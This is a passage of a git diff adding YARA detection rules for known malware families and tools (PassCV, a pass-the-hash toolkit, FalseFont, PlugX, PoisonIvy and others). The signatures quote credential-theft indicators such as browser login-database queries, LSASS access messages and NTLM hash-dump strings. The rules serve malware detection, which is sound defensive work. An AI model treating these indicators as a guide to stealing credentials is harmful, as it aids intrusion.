+      $s3 = "CloudRun.exe" fullword wide
+      $s4 = "SaberSvcB.exe" fullword wide
+      $s5 = "SaberSvc.exe" fullword wide
+      $s6 = "SaberSvcW.exe" fullword wide
+      $s7 = "tianshiyed@iaomaomark1#23mark123tokenmarkqwebjiuga664115" fullword wide
+      $s8 = "Internet Connect Failed!" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and ( 1 of ($x*) and 5 of ($s*) ) ) or ( all of them )
+}
+
+rule PassCV_Sabre_Malware_Signing_Cert {
+   meta:
+      description = "PassCV Malware mentioned in Cylance Report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+      date = "2016-10-20"
+      score = 50
+      hash1 = "7c32885c258a6d5be37ebe83643f00165da3ebf963471503909781540204752e"
+      id = "2b2d1313-6454-5e3f-9b58-5b1a26739ba8"
+   strings:
+      $s1 = "WOODTALE TECHNOLOGY INC" ascii
+      $s2 = "Flyingbird Technology Limited" ascii
+      $s3 = "Neoact Co., Ltd." ascii
+      $s4 = "AmazGame Age Internet Technology Co., Ltd" ascii
+      $s5 = "EMG Technology Limited" ascii
+      $s6 = "Zemi Interactive Co., Ltd" ascii
+      $s7 = "337 Technology Limited" ascii
+      $s8 = "Runewaker Entertainment0" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 3000KB and 1 of them )
+}
+
+rule PassCV_Sabre_Malware_2 {
+   meta:
+      description = "PassCV Malware mentioned in Cylance Report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+      date = "2016-10-20"
+      hash1 = "475d1c2d36b2cf28b28b202ada78168e7482a98b42ff980bbb2f65c6483db5b4"
+      hash2 = "009645c628e719fad2e280ef60bbd8e49bf057196ac09b3f70065f1ad2df9b78"
+      hash3 = "92479c7503393fc4b8dd7c5cd1d3479a182abca3cda21943279c68a8eef9c64b"
+      hash4 = "0c7b952c64db7add5b8b50b1199fc7d82e9b6ac07193d9ec30e5b8d353b1f6d2"
+      id = "dd9eb5f6-9faa-584d-b3b5-6dcfdc3f359c"
+   strings:
+      $x1 = "ncProxyXll" fullword ascii
+
+      $s1 = "Uniscribe.dll" fullword ascii
+      $s2 = "WS2_32.dll" ascii
+      $s3 = "ProxyDll" fullword ascii
+      $s4 = "JDNSAPI.dll" fullword ascii
+      $s5 = "x64.dat" fullword ascii
+      $s6 = "LSpyb2" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 4000KB and $x1 ) or ( all of them )
+}
+
+rule PassCV_Sabre_Malware_Excalibur_1 {
+   meta:
+      description = "PassCV Malware mentioned in Cylance Report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+      date = "2016-10-20"
+      hash1 = "21566f5ff7d46cc9256dae8bc7e4c57f2b9261f95f6ad2ac921558582ea50dfb"
+      hash2 = "02922c5d994e81629d650be2a00507ec5ca221a501fe3827b5ed03b4d9f4fb70"
+
+      id = "eadad36c-49c8-50e1-8334-813d2e760fe9"
+   strings:
+      $x1 = "F:\\Excalibur\\Excalibur\\" ascii
+      $x2 = "Excalibur\\bin\\Shell.pdb" ascii
+      $x3 = "SaberSvc.exe" wide
+
+      $s1 = "BBB.exe" fullword wide
+      $s2 = "AAA.exe" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and 1 of ($x*) or all of ($s*) )
+      or 3 of them
+}
+
+rule PassCV_Sabre_Malware_3 {
+   meta:
+      description = "PassCV Malware mentioned in Cylance Report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+      date = "2016-10-20"
+      hash1 = "28c7575b2368a9b58d0d1bf22257c4811bd3c212bd606afc7e65904041c29ce1"
+      id = "03e5efc0-6076-501f-a600-b3d9008a8711"
+   strings:
+      $x1 = "NXKILL" fullword wide
+
+      $s1 = "2OLE32.DLL" fullword ascii
+      $s2 = "localspn.dll" fullword wide
+      $s3 = "!This is a Win32 program." fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 8000KB and $x1 and 2 of ($s*) )
+}
+
+rule PassCV_Sabre_Malware_4 {
+   meta:
+      description = "PassCV Malware mentioned in Cylance Report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+      date = "2016-10-20"
+      hash1 = "27463bcb4301f0fdd95bc10bf67f9049e161a4e51425dac87949387c54c9167f"
+      id = "f182064d-3a91-5a61-aa0f-2ce491a60126"
+   strings:
+      $s1 = "QWNjZXB0On" fullword ascii /* base64 encoded string 'Accept:' */
+      $s2 = "VXNlci1BZ2VudDogT" fullword ascii /* b64: User-Agent: */
+      $s3 = "dGFzay5kbnME3luLmN" fullword ascii /* b64: task.dns[ */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 2 of them )
+}
+
+rule PassCV_Sabre_Tool_NTScan {
+   meta:
+      description = "PassCV Malware mentioned in Cylance Report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+      date = "2016-10-20"
+      hash1 = "0f290612b26349a551a148304a0bd3b0d0651e9563425d7c362f30bd492d8665"
+      id = "6ec3371a-2a1c-53d1-b650-d28728db1b40"
+   strings:
+      $x1 = "NTscan.EXE" fullword wide
+      $x2 = "NTscan Microsoft " fullword wide
+
+      $s1 = "admin$" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 2 of them )
+}
+
+rule PassCV_Sabre_Malware_5 {
+   meta:
+      description = "PassCV Malware mentioned in Cylance Report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+      date = "2016-10-20"
+      hash1 = "03aafc5f468a84f7dd7d7d38f91ff17ef1ca044e5f5e8bbdfe589f5509b46ae5"
+      id = "ce8d1b9e-7750-5796-a048-20bfd48c6aee"
+   strings:
+      $x1 = "ncircTMPg" fullword ascii
+      $x2 = "~SHELL#" fullword ascii
+      $x3 = "N.adobe.xm" fullword ascii
+
+      $s1 = "NEL32.DLL" fullword ascii
+      $s2 = "BitLocker.exe" fullword wide
+      $s3 = "|xtplhd" fullword ascii /* reversed goodware string 'dhlptx|' */
+      $s4 = "SERVICECORE" fullword wide
+      $s5 = "SHARECONTROL" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 4000KB and 1 of ($x*) or all of ($s*) )
+}
diff --git a/yara-Neo23x0/apt_passthehashtoolkit.yar b/yara-Neo23x0/apt_passthehashtoolkit.yar
new file mode 100644
index 0000000..5452b64
--- /dev/null
+++ b/yara-Neo23x0/apt_passthehashtoolkit.yar
@@ -0,0 +1,156 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-10
+	Identifier: Pass-the-Hash-Toolkit
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule whosthere_alt {
+	meta:
+		description = "Auto-generated rule - file whosthere-alt.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "9b4c3691872ca5adf6d312b04190c6e14dd9cbe10e94c0dd3ee874f82db897de"
+		id = "92e98381-9142-58af-82ce-4df9eb0a0039"
+	strings:
+		$s0 = "WHOSTHERE-ALT v1.1 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii /* PEStudio Blacklist: strings */ /* score: '49.00' */
+		$s1 = "whosthere enters an infinite loop and searches for new logon sessions every 2 seconds. Only new sessions are shown if found." fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.00' */
+		$s2 = "dump output to a file, -o filename" fullword ascii /* PEStudio Blacklist: strings */ /* score: '30.00' */
+		$s3 = "This tool lists the active LSA logon sessions with NTLM credentials." fullword ascii /* PEStudio Blacklist: strings */ /* score: '29.00' */
+		$s4 = "Error: pth.dll is not in the current directory!." fullword ascii /* score: '24.00' */
+		$s5 = "the output format is: username:domain:lmhash:nthash" fullword ascii /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s6 = ".\\pth.dll" fullword ascii /* score: '16.00' */
+		$s7 = "Cannot get LSASS.EXE PID!" fullword ascii /* score: '14.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 280KB and 2 of them
+}
+
+rule iam_alt_iam_alt {
+	meta:
+		description = "Auto-generated rule - file iam-alt.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "2ea662ef58142d9e340553ce50d95c1b7a405672acdfd476403a565bdd0cfb90"
+		id = "cf8ec963-ed23-531e-8ea2-ff9f8643aa75"
+	strings:
+		$s0 = "<cmd>. Create a new logon session and run a command with the specified credentials (e.g.: -r cmd.exe)" fullword ascii /* PEStudio Blacklist: strings */ /* score: '59.00' */
+		$s1 = "IAM-ALT v1.1 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii /* PEStudio Blacklist: strings */ /* score: '43.00' */
+		$s2 = "This tool allows you to change the NTLM credentials of the current logon session" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.00' */
+		$s3 = "username:domainname:lmhash:nthash" fullword ascii /* PEStudio Blacklist: strings */ /* score: '15.00' */
+		$s4 = "Error in cmdline!. Bye!." fullword ascii /* score: '12.00' */
+		$s5 = "Error: Cannot open LSASS.EXE!." fullword ascii /* score: '12.00' */
+		$s6 = "nthash is too long!." fullword ascii /* score: '8.00' */
+		$s7 = "LSASS HANDLE: %x" fullword ascii /* score: '5.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and 2 of them
+}
+
+rule genhash_genhash {
+	meta:
+		description = "Auto-generated rule - file genhash.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "113df11063f8634f0d2a28e0b0e3c2b1f952ef95bad217fd46abff189be5373f"
+		id = "bec3c014-df3b-5ac0-9501-9b648856e02b"
+	strings:
+		$s1 = "genhash.exe <password>" fullword ascii /* PEStudio Blacklist: strings */ /* score: '30.00' */
+		$s3 = "Password: %s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s4 = "%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X" fullword ascii /* score: '11.00' */
+		$s5 = "This tool generates LM and NT hashes." fullword ascii /* score: '10.00' */
+		$s6 = "(hashes format: LM Hash:NT hash)" fullword ascii /* score: '10.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 2 of them
+}
+
+rule iam_iamdll {
+	meta:
+		description = "Auto-generated rule - file iamdll.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "892de92f71941f7b9e550de00a57767beb7abe1171562e29428b84988cee6602"
+		id = "15e8ddac-af17-5509-b552-b4364af57c90"
+	strings:
+		$s0 = "LSASRV.DLL" fullword ascii /* score: '21.00' */
+		$s1 = "iamdll.dll" fullword ascii /* score: '21.00' */
+		$s2 = "ChangeCreds" fullword ascii /* score: '12.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 115KB and all of them
+}
+
+rule iam_iam {
+	meta:
+		description = "Auto-generated rule - file iam.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "8a8fcce649259f1b670bb1d996f0d06f6649baa8eed60db79b2c16ad22d14231"
+		id = "15e8ddac-af17-5509-b552-b4364af57c90"
+	strings:
+		$s1 = "<cmd>. Create a new logon session and run a command with the specified credentials (e.g.: -r cmd.exe)" fullword ascii /* PEStudio Blacklist: strings */ /* score: '59.00' */
+		$s2 = "iam.exe -h administrator:mydomain:"  ascii /* PEStudio Blacklist: strings */ /* score: '40.00' */
+		$s3 = "An error was encountered when trying to change the current logon credentials!." fullword ascii /* PEStudio Blacklist: strings */ /* score: '33.00' */
+		$s4 = "optional parameter. If iam.exe crashes or doesn't work when run in your system, use this parameter." fullword ascii /* PEStudio Blacklist: strings */ /* score: '30.00' */
+		$s5 = "IAM.EXE will try to locate some memory locations instead of using hard-coded values." fullword ascii /* score: '26.00' */
+		$s6 = "Error in cmdline!. Bye!." fullword ascii /* score: '12.00' */
+		$s7 = "Checking LSASRV.DLL...." fullword ascii /* score: '12.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule whosthere_alt_pth {
+	meta:
+		description = "Auto-generated rule - file pth.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "fbfc8e1bc69348721f06e96ff76ae92f3551f33ed3868808efdb670430ae8bd0"
+		id = "92e98381-9142-58af-82ce-4df9eb0a0039"
+	strings:
+		$s0 = "c:\\debug.txt" fullword ascii /* PEStudio Blacklist: strings */ /* score: '23.00' */
+		$s1 = "pth.dll" fullword ascii /* score: '20.00' */
+		$s2 = "\"Primary\" string found at %.8Xh" fullword ascii /* score: '7.00' */
+		$s3 = "\"Primary\" string not found!" fullword ascii /* score: '6.00' */
+		$s4 = "segment 1 found at %.8Xh" fullword ascii /* score: '6.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and 4 of them
+}
+
+rule whosthere {
+	meta:
+		description = "Auto-generated rule - file whosthere.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "d7a82204d3e511cf5af58eabdd6e9757c5dd243f9aca3999dc0e5d1603b1fa37"
+		id = "92e98381-9142-58af-82ce-4df9eb0a0039"
+	strings:
+		$s1 = "by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii /* PEStudio Blacklist: strings */ /* score: '48.00' */
+		$s2 = "whosthere enters an infinite loop and searches for new logon sessions every 2 seconds. Only new sessions are shown if found." fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.00' */
+		$s3 = "specify addresses to use. Format: ADDCREDENTIAL_ADDR:ENCRYPTMEMORY_ADDR:FEEDBACK_ADDR:DESKEY_ADDR:LOGONSESSIONLIST_ADDR:LOGONSES" ascii /* PEStudio Blacklist: strings */ /* score: '28.00' */
+		$s4 = "Could not enable debug privileges. You must run this tool with an account with administrator privileges." fullword ascii /* PEStudio Blacklist: strings */ /* score: '27.00' */
+		$s5 = "-B is now used by default. Trying to find correct addresses.." fullword ascii /* PEStudio Blacklist: strings */ /* score: '15.00' */
+		$s6 = "Cannot get LSASS.EXE PID!" fullword ascii /* score: '14.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 320KB and 2 of them
+}
+
diff --git a/yara-Neo23x0/apt_patchwork.yar b/yara-Neo23x0/apt_patchwork.yar
new file mode 100644
index 0000000..6b6ee18
--- /dev/null
+++ b/yara-Neo23x0/apt_patchwork.yar
@@ -0,0 +1,30 @@
+
+rule APT_ArtraDownloader2_Aug19_1 {
+   meta:
+      description = "Detects ArtraDownloader malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/"
+      date = "2019-08-27"
+      hash1 = "f0ef4242cc6b8fa3728b61d2ce86ea934bd59f550de9167afbca0b0aaa3b2c22"
+      id = "0e688e92-2366-5f36-a32d-083982181eb7"
+   strings:
+      $xc1 = { 47 45 54 20 25 73 20 48 54 54 50 2F 31 2E 30 00
+               0D 0A 00 00 48 6F 73 74 3A 20 25 73 00 00 00 00
+               3F 61 3D 00 26 62 3D 00 26 63 3D 00 26 64 3D 00
+               26 65 3D 00 25 32 30 }
+      $xc2 = { 25 73 20 25 73 20 25 73 0D 0A 25 73 20 25 73 0D
+               0A 25 73 25 73 0D 0A 25 73 25 73 0D 0A 25 73 20
+               25 64 0D 0A 0D 0A 25 73 00 00 00 00 71 72 79 3D }
+      $xc3 = { 49 44 3D 25 73 00 00 00 3A 00 00 00 25 73 20 25
+               73 20 25 73 0D 0A 25 73 20 25 73 0D 0A 25 73 25
+               73 0D 0A 25 73 25 73 0D 0A 43 6F 6E 74 65 6E 74
+               2D 6C 65 6E 67 74 68 25 73 20 25 64 }
+      $xc4 = { 25 73 20 25 73 20 25 73 0D 0A 25 73 20 25 73 0D
+               0A 25 73 25 73 0D 0A 25 73 25 73 0D 0A 43 6F 6E
+               74 65 6E 74 2D 6C 65 6E 67 74 68 3A 20 25 64 0D
+               0A 0D 0A 25 73 }
+      $x1 = "Tpguxbsf]Njdsptpgu" ascii
+      $x2 = ".gpsn.vsmfodpefe" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and 1 of them
+}
diff --git a/yara-Neo23x0/apt_peach_sandstorm.yar b/yara-Neo23x0/apt_peach_sandstorm.yar
new file mode 100644
index 0000000..1dde89d
--- /dev/null
+++ b/yara-Neo23x0/apt_peach_sandstorm.yar
@@ -0,0 +1,31 @@
+rule APT_MAL_FalseFont_Backdoor_Jan24 {
+   meta:
+      description = "Detects FalseFont backdoor, related to Peach Sandstorm APT"
+      author = "X__Junior, Jonathan Peters"
+      date = "2024-01-11"
+      reference = "https://twitter.com/MsftSecIntel/status/1737895710169628824"
+      hash = "364275326bbfc4a3b89233dabdaf3230a3d149ab774678342a40644ad9f8d614"
+      score = 80
+      id = "b6a3efff-2abf-5ac1-9a2b-c7b30b51f92c"
+   strings:
+      $x1 = "Agent.Core.WPF.App" ascii
+      $x2 = "3EzuNZ0RN3h3oV7rzILktSHSaHk+5rtcWOr0mlA1CUA=" wide //AesIV
+      $x3 = "viOIZ9cX59qDDjMHYsz1Yw==" wide // AesKey
+
+      $sa1 = "StopSendScreen" wide
+      $sa2 = "Decryption failed :(" wide
+
+      $sb1 = "{0}     {1}     {2}     {3}" wide
+      $sb2 = "\\BraveSoftware\\Brave-Browser\\User Data\\" wide
+      $sb3 = "select * from logins" wide
+      $sb4 = "Loginvault.db" wide
+      $sb5 = "password_value" wide
+   condition:
+      uint16(0) == 0x5a4d
+      and (
+         1 of ($x*)
+         or all of ($sa*)
+         or all of ($sb*)
+         or ( 1 of ($sa*) and 4 of ($sb*) )
+      )
+}
diff --git a/yara-Neo23x0/apt_plead_downloader.yar b/yara-Neo23x0/apt_plead_downloader.yar
new file mode 100644
index 0000000..1f9e7cd
--- /dev/null
+++ b/yara-Neo23x0/apt_plead_downloader.yar
@@ -0,0 +1,21 @@
+rule PLEAD_Downloader_Jun18_1 {
+   meta:
+      description = "Detects PLEAD Downloader"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html"
+      date = "2018-06-16"
+      hash1 = "a26df4f62ada084a596bf0f603691bc9c02024be98abec4a9872f0ff0085f940"
+      id = "19d588d8-1f03-5f34-b82e-b645c28a19a4"
+   strings:
+      $s1 = "%02d:%02d:%02d" ascii fullword
+      $s2 = "%02d-%02d-%02d" ascii fullword
+      $s3 = "1111%02d%02d%02d_%02d%02d2222" ascii fullword
+      $a1 = "Scanning..." wide fullword
+      $a2 = "Checking..." wide fullword
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and (
+            all of ($s*) or
+            ( 2 of ($s*) and 1 of ($a*) )
+      )
+}
diff --git a/yara-Neo23x0/apt_plugx.yar b/yara-Neo23x0/apt_plugx.yar
new file mode 100644
index 0000000..152c746
--- /dev/null
+++ b/yara-Neo23x0/apt_plugx.yar
@@ -0,0 +1,36 @@
+
+rule APTGroupX_PlugXTrojanLoader_StringDecode {
+   meta:
+      author = "Jay DiMartino"
+   	description = "Rule to detect PlugX Malware"
+		score = 80
+   	reference = "https://t.co/4xQ8G2mNap"
+      hash1 = "0535e8c300204e257f0fa57630f386e9fcc8e779"
+      hash2 = "088ebf9ccde958f32d11f4e7eb14f5332332f97d"
+      hash3 = "0c999d0bffa007e9e6b6fe593933b52f40c75b3d"
+      hash4 = "2f644e7131ec0a4f12ce04ba1e54d23856dbbfbf"
+      hash5 = "3be9148ad132ca342d5fbabea1119a175ef1df7c"
+      hash6 = "4c1ee94ec0e15491fc4f6b4095f67eee6309e62a"
+      hash7 = "587af7ce05e61d4c312d6bae12ea380116b08d7e"
+      hash8 = "5990efd83b5646a7ba419541d3a2c19260224ca3"
+      hash9 = "67970367c250c44a5feb263843cf45fd91336df5"
+      hash10 = "68f53f7188910a4cf67843aedd38c1523f1f2e7c"
+      hash11 = "962dc7e0ad37286df012f623423ac4182fe791ca"
+      hash12 = "aa0976906807af2e1b127608040aa3ef6e118a13"
+      hash13 = "b170d015e32b39fa4ac15f94d58e45e65cd16d6c"
+      hash14 = "c9b3d2cef3b34c7ee18fc2f60ff022965959613d"
+      hash15 = "cd425ce7f3e4a823d9027780e1b439759c4dc665"
+      hash16 = "d5e82513c6472d3826a22d9a15c05af8c0d33b58"
+      hash17 = "d9b32084f27ef13001060e1dcee8a1a9e95d89a6"
+      hash18 = "daa2d1cb9148b7ba5a86fa9ab593678e77c92672"
+      hash19 = "e2c098a95d1c1f0e29f207af9c5ffc5bd69a92ee"
+      hash20 = "ef8cf68dc3c80e9cb5a3fa0f92b544eab583812e"
+      hash21 = "f0fc0a4e4e0748464caa6a202d0083cd33458677"
+      hash22 = "fe1abe55529c1d6aa6b2a2f02d7e41ea58040feb"
+      id = "c6017327-b44d-5b1d-95aa-6e1f9fbf5583"
+   strings:
+      $byte1 = { 8A [2-4] 8A [2-4] FF 05 00 30 00 10 [0-5] 2A [1-6] 80 [2-7] 02 [1-6] 88 0? }
+      $byte2 = { 8B [2-4] 8A [2-4] FF 05 00 30 00 10 [0-5] 2A [1-6] 80 [2-7] 02 [1-6] 88 0? }
+   condition:
+      any of them
+}
diff --git a/yara-Neo23x0/apt_poisonivy.yar b/yara-Neo23x0/apt_poisonivy.yar
new file mode 100644
index 0000000..2c5a182
--- /dev/null
+++ b/yara-Neo23x0/apt_poisonivy.yar
@@ -0,0 +1,230 @@
+
+rule PoisonIvy_Sample_APT {
+	meta:
+		description = "Detects a PoisonIvy APT malware group"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "b874b76ff7b281c8baa80e4a71fc9be514093c70"
+		id = "8d3b8222-8949-57dc-99b7-092189416efd"
+	strings:
+		$s0 = "pidll.dll" fullword ascii /* score: '11.02' */
+		$s1 = "sens32.dll" fullword wide /* score: '11.015' */
+		$s3 = "FileDescription" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 19311 times */
+		$s4 = "OriginalFilename" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 19040 times */
+		$s5 = "ZwSetInformationProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 31 times */
+		$s9 = "Microsoft Media Device Service Provider" fullword wide /* score: '-3' */ /* Goodware String - occured 8 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 47KB and all of them
+}
+
+
+rule PoisonIvy_Sample_APT_2 {
+	meta:
+		description = "Detects a PoisonIvy Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "333f956bf3d5fc9b32183e8939d135bc0fcc5770"
+		id = "4d64ccd2-add8-5749-8178-f2c5336e1495"
+	strings:
+		$s0 = "pidll.dll" fullword ascii /* score: '11.02' */
+		$s1 = "sens32.dll" fullword wide /* score: '11.015' */
+		$s2 = "9.0.1.56" fullword wide /* score: '9.5' */
+		$s3 = "FileDescription" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 19311 times */
+		$s4 = "OriginalFilename" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 19040 times */
+		$s5 = "ZwSetInformationProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 31 times */
+		$s6 = "\"%=%14=" fullword ascii /* score: '4.5' */
+		$s7 = "091A1G1R1_1g1u1z1" fullword ascii /* score: '4' */ /* Goodware String - occured 1 times */
+		$s8 = "gHsMZz" fullword ascii /* score: '3.005' */
+		$s9 = "Microsoft Media Device Service Provider" fullword wide /* score: '-3' */ /* Goodware String - occured 8 times */
+		$s10 = "Copyright (C) Microsoft Corp." fullword wide /* score: '-7' */ /* Goodware String - occured 12 times */
+		$s11 = "MFC42.DLL" fullword ascii /* score: '-31' */ /* Goodware String - occured 36 times */
+		$s12 = "MSVCRT.dll" fullword ascii /* score: '-235' */ /* Goodware String - occured 240 times */
+		$s13 = "SpecialBuild" fullword wide /* score: '-1561' */ /* Goodware String - occured 1566 times */
+		$s14 = "PrivateBuild" fullword wide /* score: '-1585' */ /* Goodware String - occured 1590 times */
+		$s15 = "Comments" fullword wide /* score: '-2149' */ /* Goodware String - occured 2154 times */
+		$s16 = "040904b0" fullword wide /* score: '-2365' */ /* Goodware String - occured 2370 times */
+		$s17 = "LegalTrademarks" fullword wide /* score: '-3518' */ /* Goodware String - occured 3523 times */
+		$s18 = "CreateThread" fullword ascii /* score: '-3909' */ /* Goodware String - occured 3914 times */
+		$s19 = "ntdll.dll" fullword ascii /* score: '-4675' */ /* Goodware String - occured 4680 times */
+		$s20 = "_adjust_fdiv" ascii /* score: '-5450' */ /* Goodware String - occured 5455 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 47KB and all of them
+}
+
+rule PoisonIvy_Sample_APT_3 {
+	meta:
+		description = "Detects a PoisonIvy Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "df3e1668ac20edecc12f2c1a873667ea1a6c3d6a"
+		id = "e2e0bf75-7704-585f-b2b3-727d14946c76"
+	strings:
+		$s0 = "\\notepad.exe" ascii /* score: '11.025' */
+		$s1 = "\\RasAuto.dll" ascii /* score: '11.025' */
+		$s3 = "winlogon.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 13 times */
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
+
+
+rule PoisonIvy_Sample_APT_4 {
+	meta:
+		description = "Detects a PoisonIvy Sample APT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "558f0f0b728b6da537e2666fbf32f3c9c7bd4c0c"
+		id = "02bf546b-99a2-5ffb-8ee7-7bb005ef953b"
+	strings:
+		$s0 = "Microsoft Software installation Service" fullword wide /* PEStudio Blacklist: strings */ /* score: '15.04' */
+		$s1 = "idll.dll" fullword ascii /* score: '11.02' */
+		$s2 = "mgmts.dll" fullword wide /* score: '11.0' */
+		$s3 = "Microsoft(R) Windows(R)" fullword wide /* score: '6.025' */
+		$s4 = "ServiceMain" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 322 times */
+		$s5 = "Software installation Service" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 3 times */
